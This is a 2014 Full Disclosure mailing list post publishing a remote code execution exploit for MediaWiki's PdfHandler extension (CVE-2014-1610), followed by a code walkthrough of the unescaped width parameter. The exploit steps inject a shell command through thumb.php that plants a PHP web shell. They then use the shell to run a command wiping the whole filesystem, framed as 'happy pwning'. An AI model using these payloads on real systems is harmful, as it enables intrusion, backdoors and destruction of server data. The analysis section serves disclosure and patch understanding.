Full Disclosure mailing list archives
MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)
From: Pichaya Morimoto <pichaya () ieee org>
Date: Sat, 1 Feb 2014 22:28:51 +0700
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 #################################################################### # # MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610) # Reported by Netanel Rubin - Check Point's Vulnerability Research Group (Jan 19, 2014) # Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014) # Affected website : Wikipedia.org and more ! # # Exploit author : Xelenonz & @u0x (Pichaya Morimoto) # Release dates : Feb 1, 2014 # Special Thanks to 2600 Thailand ! # #################################################################### # Exploit: #################################################################### 1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled) http://vulnerable-site/index.php/Special:Upload 2. inject os cmd to upload a php-backdoor http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20 "<?php%20system(\\$_GET[1]);">images/xnz.php` 3. access to php-backdoor! http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root 4. happy pwning!! # Related files: #################################################################### thumb.php <-- extract all _GET array to params /extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width options /includes/media/ImageHandler.php /includes/GlobalFunctions.php includes/filerepo/file/File.php # Vulnerability Analysis: #################################################################### 1. thumb.php This script used to resize images if it is configured to be done when the web browser requests the image <? ... 1.1 Called directly, use $_GET params wfThumbHandleRequest(); 1.2 Handle a thumbnail request via query parameters function wfThumbHandleRequest() { $params = get_magic_quotes_gpc() ? array_map( 'stripslashes', $_GET ) : $_GET; wfStreamThumb( $params ); // stream the thumbnail } 1.3 Stream a thumbnail specified by parameters function wfStreamThumb( array $params ) { ... $fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts uploaded.pdf file here ... // Backwards compatibility parameters if ( isset( $params['w'] ) ) { $params['width'] = $params['w']; // << Inject os cmd here! unset( $params['w'] ); } ... $img = wfLocalFile( $fileName ); ... // Thumbnail isn't already there, so create the new thumbnail... $thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image by width/height ... // Stream the file if there were no errors $thumb->streamFile( $headers ); ... ?> 2. /includes/filerepo/file/File.php <? ... function transform( $params, $flags = 0 ) { ... $handler = $this->getHandler(); // << PDF Handler ... $normalisedParams = $params; $handler->normaliseParams( $this, $normalisedParams ); ... $thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params ); .. ?> 3. /extensions/PdfHandler/PdfHandler_body.php <? ... function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) { ... $width = $params['width']; ... $cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd & parameters $cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page} -dLastPage={$page}"; $cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg( $srcPath ); $cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor ); $cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell argument $cmd .= wfEscapeShellArg( $dstPath ) . ")"; $cmd .= " 2>&1"; ... $err = wfShellExec( $cmd, $retval ); ... ?> 4. /includes/GlobalFunctions.php Execute a shell command, with time and memory limits <? ... function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits = array() ) { ... passthru( $cmd, $retval ); // << Execute here!! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.14 (GNU/Linux) iQIcBAEBAgAGBQJS7RIZAAoJEB2kHapd1XMUb2sP/RfCZk9D9KgbcoaoUaw+fo8r K6ML/6dGRfLs9qvNdA8vwZfBT0wB0pPRfrcS/+W57tMV5hpDMGZgN3FMeUetoMYu V5LVpkW0dbkU+hJ0J7RRIi9B60FytIifH70LTBnZXba3G3pni6oJCdwIcpmLvVu9 eVKZs2A/9Y4kUDm6hqM3alO9Biy2FeX6QmN2hgOJP35bB5rUtAcPU8lVZrRwerfj Q0OxvUQRYg07s9oD6dzrQMYLobbzg9DmR0c4z21rumxdvBvrHs6P0+25H4HY0GPu vEfJIfB11MGFFyKzkCmnkKKD+kOoJ4FgKVLOJfhWIFwglo2Y+s9mJzcTKjJRIjLg CTRgD1sJ8Agl+mKU+FzB8wwyZuAT0FoIOgNXVNDAQEzlnaQdjW0JnTgnO+DN5UpR 2zj0ghQaNaFf38TkAJN/0eOHU9hP6cl/6zhoFII5NPmY4/yytUvrz801Xylr1C2j J52Z37mFffkgg3OkXsOmzkPsp7OdPcktwfsmSJz8iD5oJBjAiqK8ecbVqa00C2kb 0ZGn+HlKCgEzK8gJVnNKc1DYCKOg95m3nbl7XDZVIH0OHJYtIILAUNfJikFm+P8P vw4QhAvaKDHMULJw0zcTMd1g2ctzKMAtOI0NtnlI8VBkcTyU2LuUAMsmgoWpw5bE 5R2uhHiLPOsNC5BsZg4y =p2PF -----END PGP SIGNATURE-----
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610) Pichaya Morimoto (Feb 02)